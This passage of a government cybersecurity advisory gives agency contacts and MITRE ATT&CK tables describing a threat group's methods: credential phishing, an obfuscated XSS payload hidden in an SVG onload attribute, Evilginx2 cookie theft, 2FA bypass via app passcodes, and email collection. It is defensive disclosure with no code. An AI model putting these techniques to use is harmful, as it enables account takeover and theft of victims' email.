<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
